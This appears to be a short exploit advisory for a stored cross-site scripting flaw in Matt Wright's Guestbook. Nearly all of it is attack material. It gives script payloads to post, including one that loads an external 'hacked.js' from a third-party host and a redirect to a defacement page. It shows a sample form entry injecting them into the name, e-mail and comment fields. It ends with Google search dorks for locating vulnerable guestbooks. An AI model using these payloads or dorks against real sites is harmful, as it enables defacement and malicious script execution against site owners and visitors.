Matt Wright Guestbook Xss Script ?njection 

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site:https://www.scriptarchive.com/
demo:https://www.scriptarchive.com/readme/guestbook.html
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Post This Code:

<script>alert(/Liz0ziM/)</script>

<script src=https://liz0.li.funpic.org/hacked.js></script>

<script>location.href="https://evilsite.com/deface.html";</script>

vs..
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Example Post Message :

Your Name:<script>alert(/Liz0ziM/)</script>
E-Mail:<script>alert(/Liz0ziM/)</script>
URL:blabla
City:blabla , State:blabla Country:blabla
Comments:<script>location.href="https://evilsite.com/deface.html";</script>

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Credit:Liz0ziM
Mail:liz0@bsdmail.com
Site:www.biyo.tk,www.biyosecurity.be
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Google:
"Scripts and guestbook created by: Matt Wright "
inurl:guestbook.html
inurl:addguest.html
inurl:"* Back to the Guestbook Entries"
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Source:

https://www.blogcu.com/Liz0ziM/431712/
https://liz0zim.no-ip.org/mattguestbook.html